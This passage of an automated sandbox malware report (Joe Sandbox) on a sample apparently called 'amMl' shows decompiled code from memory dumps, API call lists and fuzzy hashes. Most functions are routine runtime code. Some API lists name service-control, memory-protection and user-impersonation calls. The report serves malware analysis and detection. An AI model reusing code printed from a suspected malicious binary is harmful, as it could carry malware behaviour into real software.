				signed int _t86;
				signed int _t87;
				void* _t89;
				signed int _t92;
				signed int _t95;
				signed int _t96;
				signed int _t98;
				signed int _t106;
				char* _t110;
				signed int _t115;
				signed int _t116;
				signed int _t124;
				char* _t133;
				signed int _t134;
				intOrPtr* _t135;
				signed int _t136;
				signed int _t138;
				signed int _t141;
				void* _t144;

				_t78 = _a8;
				_t135 = _a4;
				_t133 = _t78;
				if(_t135 == 0 ||  *((char*)(_t135 + 0x5c)) != 0x72) {
					return 0xfffffffe;
				} else {
					_t115 =  *(_t135 + 0x38);
					_t124 = __edx | 0xffffffff;
					if(_t115 == 0xfffffffd || _t115 == _t124) {
						return _t124;
					} else {
						if(_t115 != 1) {
							_t138 = _a12;
							_t110 = _t78;
							 *((intOrPtr*)(_t135 + 0xc)) = _t78;
							 *(_t135 + 0x10) = _t138;
							__eflags = _t138;
							if(_t138 == 0) {
								L10:
								__eflags =  *(_t135 + 0x10);
								if( *(_t135 + 0x10) == 0) {
									L37:
									_t82 = E00403080( *(_t135 + 0x4c), _t133,  *((intOrPtr*)(_t135 + 0xc)) - _t133);
									_t116 =  *(_t135 + 0x10);
									 *(_t135 + 0x4c) = _t82;
									__eflags = _t138 - _t116;
									if(_t138 != _t116) {
										L41:
										_t84 = _t138 - _t116;
										__eflags = _t84;
										return _t84;
									} else {
										_t136 =  *(_t135 + 0x38);
										__eflags = _t136 - 0xfffffffd;
										if(_t136 == 0xfffffffd) {
											L40:
											_t85 = _t82 | 0xffffffff;
											__eflags = _t85;
											return _t85;
										} else {
											__eflags = _t136 - 0xffffffff;
											if(_t136 != 0xffffffff) {
												goto L41;
											} else {
												goto L40;
											}
										}
									}
								} else {
									while(1) {
										__eflags =  *(_t135 + 0x58);
										if( *(_t135 + 0x58) != 0) {
											break;
										}
										__eflags =  *(_t135 + 4);
										if( *(_t135 + 4) != 0) {
											L18:
											 *((intOrPtr*)(_t135 + 0x64)) =  *((intOrPtr*)(_t135 + 0x64)) +  *(_t135 + 4);
											 *((intOrPtr*)(_t135 + 0x68)) =  *((intOrPtr*)(_t135 + 0x68)) +  *(_t135 + 0x10);
											_push(0);
											_push(_t135);
											_t92 = E004073A0();
											 *((intOrPtr*)(_t135 + 0x64)) =  *((intOrPtr*)(_t135 + 0x64)) -  *(_t135 + 4);
											 *((intOrPtr*)(_t135 + 0x68)) =  *((intOrPtr*)(_t135 + 0x68)) -  *(_t135 + 0x10);
											_t144 = _t144 + 8;
											 *(_t135 + 0x38) = _t92;
											__eflags = _t92 - 1;
											if(_t92 != 1) {
												L22:
												__eflags =  *(_t135 + 0x38);
												if( *(_t135 + 0x38) != 0) {
													goto L37;
												} else {
													__eflags =  *(_t135 + 0x3c);
													if( *(_t135 + 0x3c) != 0) {
														goto L37;
													} else {
														__eflags =  *(_t135 + 0x10);
														if( *(_t135 + 0x10) != 0) {
															continue;
														} else {
															goto L37;
														}
													}
												}
											} else {
												_t98 = E00403080( *(_t135 + 0x4c), _t133,  *((intOrPtr*)(_t135 + 0xc)) - _t133);
												_t133 =  *((intOrPtr*)(_t135 + 0xc));
												 *(_t135 + 0x4c) = _t98;
												_t144 = _t144 + 0xc;
												__eflags = E004055E0(_t135, __eflags) -  *(_t135 + 0x4c);
												if(__eflags != 0) {
													 *(_t135 + 0x38) = 0xfffffffd;
													goto L37;
												} else {
													E004055E0(_t135, __eflags);
													E00405000(_t135, _t110);
													__eflags =  *(_t135 + 0x38);
													if( *(_t135 + 0x38) != 0) {
														goto L37;
													} else {
														E004070F0(_t135); // executed
														_t106 = E00403080(0, 0, "true");
														_t144 = _t144 + 0x10;
														 *(_t135 + 0x4c) = _t106;
														goto L22;
													}
												}
											}
										} else {
											__eflags =  *(_t135 + 0x3c);
											if(__eflags != 0) {
												goto L18;
											} else {
												 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
												_t95 = E0040BF62( *((intOrPtr*)(_t135 + 0x44)), 1, 0x4000,  *((intOrPtr*)(_t135 + 0x40)));
												_t144 = _t144 + 0x10;
												 *(_t135 + 4) = _t95;
												__eflags = _t95;
												if(_t95 != 0) {
													L17:
													 *_t135 =  *((intOrPtr*)(_t135 + 0x44));
													goto L18;
												} else {
													 *(_t135 + 0x3c) = 1;
													_t96 = E0040BC8E( *((intOrPtr*)(_t135 + 0x40)));
													_t144 = _t144 + 4;
													__eflags = _t96;
													if(_t96 != 0) {
														 *(_t135 + 0x38) = 0xffffffff;
														goto L37;
													} else {
														goto L17;
													}
												}
											}
										}
										goto L44;
									}
									_t134 =  *(_t135 + 4);
									_t86 =  *(_t135 + 0x10);
									__eflags = _t134 - _t86;
									if(_t134 > _t86) {
										_t134 = _t86;
									}
									__eflags = _t134;
									if(_t134 > 0) {
										E0040B350(_t110, _t134, _t135,  *((intOrPtr*)(_t135 + 0xc)),  *_t135, _t134);
										 *_t135 =  *_t135 + _t134;
										 *(_t135 + 0x10) =  *(_t135 + 0x10) - _t134;
										_t110 = _t110 + _t134;
										_t144 = _t144 + 0xc;
										_t59 = _t135 + 4;
										 *_t59 =  *(_t135 + 4) - _t134;
										__eflags =  *_t59;
										 *((intOrPtr*)(_t135 + 0xc)) = _t110;
									}
									_t87 =  *(_t135 + 0x10);
									__eflags = _t87;
									if(_t87 > 0) {
										_t89 = E0040BF62(_t110, 1, _t87,  *((intOrPtr*)(_t135 + 0x40)));
										_t64 = _t135 + 0x10;
										 *_t64 =  *(_t135 + 0x10) - _t89;
										__eflags =  *_t64;
									}
									_t141 = _t138 -  *(_t135 + 0x10);
									 *((intOrPtr*)(_t135 + 0x64)) =  *((intOrPtr*)(_t135 + 0x64)) + _t141;
									 *((intOrPtr*)(_t135 + 0x68)) =  *((intOrPtr*)(_t135 + 0x68)) + _t141;
									__eflags = _t141;
									if(_t141 == 0) {
										 *(_t135 + 0x3c) = 1;
									}
									return _t141;
								}
							} else {
								__eflags =  *(_t135 + 0x6c) - _t124;
								if( *(_t135 + 0x6c) == _t124) {
									goto L10;
								} else {
									 *_t78 =  *(_t135 + 0x6c);
									 *(_t135 + 0x10) =  *(_t135 + 0x10) + _t124;
									_t110 = _t78 + 1;
									 *((intOrPtr*)(_t135 + 0xc)) =  *((intOrPtr*)(_t135 + 0xc)) + 1;
									 *((intOrPtr*)(_t135 + 0x68)) =  *((intOrPtr*)(_t135 + 0x68)) + 1;
									__eflags =  *(_t135 + 0x70);
									 *(_t135 + 0x6c) = _t124;
									_t133 = _t110;
									if( *(_t135 + 0x70) == 0) {
										goto L10;
									} else {
										 *(_t135 + 0x38) = 1;
										return 1;
									}
								}
							}
						} else {
							return 0;
						}
					}
				}
				L44:
			}

0x00405a20
0x00405a25
0x00405a2a
0x00405a2e
0x00405c63
0x00405a3e
0x00405a3e
0x00405a41
0x00405a47
0x00405c5b
0x00405a55
0x00405a58
0x00405a61
0x00405a65
0x00405a67
0x00405a6a
0x00405a6d
0x00405a6f
0x00405a9f
0x00405a9f
0x00405aa3
0x00405c1c
0x00405c27
0x00405c2c
0x00405c32
0x00405c35
0x00405c37
0x00405c4e
0x00405c53
0x00405c53
0x00405c56
0x00405c39
0x00405c39
0x00405c3c
0x00405c3f
0x00405c46
0x00405c49
0x00405c49
0x00405c4d
0x00405c41
0x00405c41
0x00405c44
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c44
0x00405c3f
0x00405ab0
0x00405ab0
0x00405ab0
0x00405ab4
0x00000000
0x00000000
0x00405aba
0x00405abe
0x00405b0f
0x00405b15
0x00405b18
0x00405b1b
0x00405b1d
0x00405b1e
0x00405b29
0x00405b2c
0x00405b2f
0x00405b32
0x00405b35
0x00405b38
0x00405b8e
0x00405b8e
0x00405b92
0x00000000
0x00405b98
0x00405b98
0x00405b9c
0x00000000
0x00405b9e
0x00405b9e
0x00405ba2
0x00000000
0x00405ba8
0x00000000
0x00405ba8
0x00405ba2
0x00405b9c
0x00405b3a
0x00405b45
0x00405b4a
0x00405b4d
0x00405b50
0x00405b5a
0x00405b5d
0x00405baa
0x00000000
0x00405b5f
0x00405b61
0x00405b68
0x00405b6d
0x00405b71
0x00000000
0x00405b77
0x00405b78
0x00405b83
0x00405b88
0x00405b8b
0x00000000
0x00405b8b
0x00405b71
0x00405b5d
0x00405ac0
0x00405ac0
0x00405ac4
0x00000000
0x00405ac6
0x00405acb
0x00405ae0
0x00405ae5
0x00405ae8
0x00405aeb
0x00405aed
0x00405b0a
0x00405b0d
0x00000000
0x00405aef
0x00405af3
0x00405afa
0x00405aff
0x00405b02
0x00405b04
0x00405c15
0x00000000
0x00000000
0x00000000
0x00000000
0x00405b04
0x00405aed
0x00405ac4
0x00000000
0x00405abe
0x00405bb3
0x00405bb6
0x00405bb9
0x00405bbb
0x00405bbd
0x00405bbd
0x00405bbf
0x00405bc1
0x00405bcb
0x00405bd0
0x00405bd2
0x00405bd5
0x00405bd7
0x00405bda
0x00405bda
0x00405bda
0x00405bdd
0x00405bdd
0x00405be0
0x00405be3
0x00405be5
0x00405bef
0x00405bf7
0x00405bf7
0x00405bf7
0x00405bf7
0x00405bfa
0x00405bfd
0x00405c00
0x00405c03
0x00405c05
0x00405c07
0x00405c07
0x00405c14
0x00405c14
0x00405a71
0x00405a71
0x00405a74
0x00000000
0x00405a76
0x00405a79
0x00405a7b
0x00405a7e
0x00405a86
0x00405a89
0x00405a8c
0x00405a90
0x00405a93
0x00405a95
0x00000000
0x00405a97
0x00405a9a
0x00405a9e
0x00405a9e
0x00405a95
0x00405a74
0x00405a5b
0x00405a5e
0x00405a5e
0x00405a58
0x00405a47
0x00000000

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b084eca792c7b7879e2cade4dd6ea029dcc7911505801cb43ceb0c5d904e76dd
Instruction ID: 168e27a369536ec56344fe0227db1249f7596168985b86e43d145dbb19a92fe0
Opcode Fuzzy Hash: b084eca792c7b7879e2cade4dd6ea029dcc7911505801cb43ceb0c5d904e76dd
Instruction Fuzzy Hash: E4713C71604B008FE7309E29D844667B7E4EF80324F148A2EE5A697BD0D779F8858F89

Uniqueness

Uniqueness Score: -1.00%

Function 005B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,005B0223,?,?), ref: 005B0E19
SetErrorMode.KERNELBASE(00000000,?,?,005B0223,?,?), ref: 005B0E1E

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: e6f0b986f79c47f2df78b5900a9022620743f9650b9358d5e1040a707868e860
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0FD0123114512877D7002A94DC09BCE7F1CDF05B62F008411FB0DD9080C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7EE Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040E7EE(int _a4) {

				E0040E7C3(_a4); // executed
				ExitProcess(_a4);
			}

0x0040e7f6
0x0040e7ff

APIs

___crtCorExitProcess.LIBCMT ref: 0040E7F6

Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA

ExitProcess.KERNEL32 ref: 0040E7FF

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5

Uniqueness

Uniqueness Score: -1.00%

Function 023999E8 Relevance: 1.6, APIs: 1, Instructions: 92
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32(?,?,?), ref: 02399AC2

Memory Dump Source

Source File: 00000002.00000002.367394519.0000000002390000.00000040.00000800.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2390000_amMl.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: c2ee00277bf20a024c1abf4106b8fc45c3333e118144e8e895a40942a0ee4f8b
Instruction ID: d017e582c3cbd8ca2db2c8961093438d74bf88c9895a7fbdccf666ef6f3c2737
Opcode Fuzzy Hash: c2ee00277bf20a024c1abf4106b8fc45c3333e118144e8e895a40942a0ee4f8b
Instruction Fuzzy Hash: 643166B0D002488FDF10CFAAC884B9EBBF1FF49704F14812AE815AB240D7789842CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02399920 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 023999A5

Memory Dump Source

Source File: 00000002.00000002.367394519.0000000002390000.00000040.00000800.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2390000_amMl.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 7d33c4903f89c8be39fcf30ab1dcc82d7e8b36e8bb4590039356aee5e8a66223
Instruction ID: 5a186ace8dca9033b271dbd35792ca74a362cece27c155fd906772e46ed30ee9
Opcode Fuzzy Hash: 7d33c4903f89c8be39fcf30ab1dcc82d7e8b36e8bb4590039356aee5e8a66223
Instruction Fuzzy Hash: 592135B5C002098FCF10CF9AD884BDEFBF5EF89314F14815AD808AB244D7749941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02399180 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 023991F4

Memory Dump Source

Source File: 00000002.00000002.367394519.0000000002390000.00000040.00000800.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2390000_amMl.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 27880ccc157b0d7cac1edf298c6e00d12b1a447d3d8feb9705ee292fcce63a6a
Instruction ID: 46a533f11d9973467803fc403bf71a572571a1ccc0e450aebf4d61e40929727c
Opcode Fuzzy Hash: 27880ccc157b0d7cac1edf298c6e00d12b1a447d3d8feb9705ee292fcce63a6a
Instruction Fuzzy Hash: 3E1113B5D002098BDB10CFAAC884A9FFBF5EF48314F14842ED429A7240C7799945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0239A0E8 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 0239A158

Memory Dump Source

Source File: 00000002.00000002.367394519.0000000002390000.00000040.00000800.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2390000_amMl.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 6d156729e6d13c13f6411ff3ba453624fe62ad1a18f6a54aa26ba593b42e54f5
Instruction ID: b27f0750fd15baa5295d999e8b6afebaf900516c125c642c00e534328c914f80
Opcode Fuzzy Hash: 6d156729e6d13c13f6411ff3ba453624fe62ad1a18f6a54aa26ba593b42e54f5
Instruction Fuzzy Hash: A511E4B59002499FDB10CF9AC984BDEFBF4EB48314F10852AE458A7240D378A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02399ED8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 02399F37

Memory Dump Source

Source File: 00000002.00000002.367394519.0000000002390000.00000040.00000800.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2390000_amMl.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: da76f77a8dbe83d12486945799290eaff42a2ae45c3e5a4f4b6b6a4244395e04
Instruction ID: 2319aff203201e9af4f909d767c4868e3b9c55fe2dda4d4df299b329a917b7de
Opcode Fuzzy Hash: da76f77a8dbe83d12486945799290eaff42a2ae45c3e5a4f4b6b6a4244395e04
Instruction Fuzzy Hash: 171148B5900249CFDB10CF9AC984BDEFBF4EF48324F20845AD419A3240D378A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D534(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4234b4 = _t6;
				if(_t6 != 0) {
					 *0x4250b0 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0040d549
0x0040d54f
0x0040d556
0x0040d55d
0x0040d563
0x0040d559
0x0040d559
0x0040d559

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA0A Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E0040EA0A(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t8;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E0040E8DE(_t3, _t4, _t5, _t8); // executed
				return _t2;
			}

0x0040ea0f
0x0040ea11
0x0040ea13
0x0040ea16
0x0040ea1f

APIs

_doexit.LIBCMT ref: 0040EA16

Part of subcall function 0040E8DE: __lock.LIBCMT ref: 0040E8EC
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E923
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E938
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E962
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E978
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E985
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9B4
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9C4

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a0257ab8b89ab24c4dda27abc63ac43d0f25756bab2839dd78a8b277d7454467
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: D2B0923298420833EA202643AC03F063B1987C0B64E244031BA0C2E1E1A9A2A9618189

Uniqueness

Uniqueness Score: -1.00%

Function 005B0920 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 005B0929

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: a81f69529bcf2872433a6626b6dddab0307a3207cad9c1e7665d850a07e5ea8b
Instruction ID: f1a77b98683cafb1fb7459b4dcf7902f75ab8b99c0f73db378513641b05b932d
Opcode Fuzzy Hash: a81f69529bcf2872433a6626b6dddab0307a3207cad9c1e7665d850a07e5ea8b
Instruction Fuzzy Hash: 1190026038415011D820259C4C02B0510021751634F3047107170B91D4D84496144126

Uniqueness

Uniqueness Score: -1.00%

Function 0088D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.367179672.000000000088D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0088D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_88d000_amMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6925b4d9788b6c10667373c33c0d1df5eb8838be6dc6342e433520d1c0a2f396
Instruction ID: adc6d067eb7b70a20ec05e9e0981ab5e10c09ff332f0544898331cd3ff33b20d
Opcode Fuzzy Hash: 6925b4d9788b6c10667373c33c0d1df5eb8838be6dc6342e433520d1c0a2f396
Instruction Fuzzy Hash: 6501D4715047489AE7209A2ADC80B67BFC8FF51328F18C51AEC459A2C2C2799845C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 0088D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.367179672.000000000088D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0088D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_88d000_amMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 814c8d4ad28e822b71d6114ecd511e82e53c53926d020d7d7fb3df4e666f309e
Instruction ID: f3593e32338fa3782a143f026d162196e19e8ad19f1ed11f2a844c4a0cf62d72
Opcode Fuzzy Hash: 814c8d4ad28e822b71d6114ecd511e82e53c53926d020d7d7fb3df4e666f309e
Instruction Fuzzy Hash: 33F0AF71504344AAE7208E16CC84B62FB98EB52324F18C55AED485E282C3799C45CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 005BD070 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 005C395B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 005C3970
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 005C397B
GetCurrentProcess.KERNEL32(C0000409), ref: 005C3997
TerminateProcess.KERNEL32(00000000), ref: 005C399E

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 22fba8d3c41ff612bd4aa68ddee945db432e49274acbb31115b19e3f1feb08e9
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: 5F21D2B9A01204EFD720DFA4E94A7457FB0FB08356F804079E50D87662E7B86A82CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0x7c4c350d
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0x7c4c350d
				_v812 = _t12;
				_t13 =  *0x422238; // 0x83b3caf2
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce0f
0x0040ce11
0x0040ce11
0x00413644
0x00413649
0x0041364f
0x00413655
0x0041365b
0x00413661
0x00413667
0x0041366e
0x00413675
0x0041367c
0x00413683
0x0041368a
0x00413691
0x00413692
0x0041369b
0x004136a3
0x004136ab
0x004136b6
0x004136c0
0x004136c5
0x004136ca
0x004136d4
0x004136de
0x004136e3
0x004136e9
0x004136ee
0x004136fa
0x004136ff
0x00413701
0x00413709
0x00413714
0x00413721
0x00413723
0x00413725
0x0041372a
0x0041373e

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
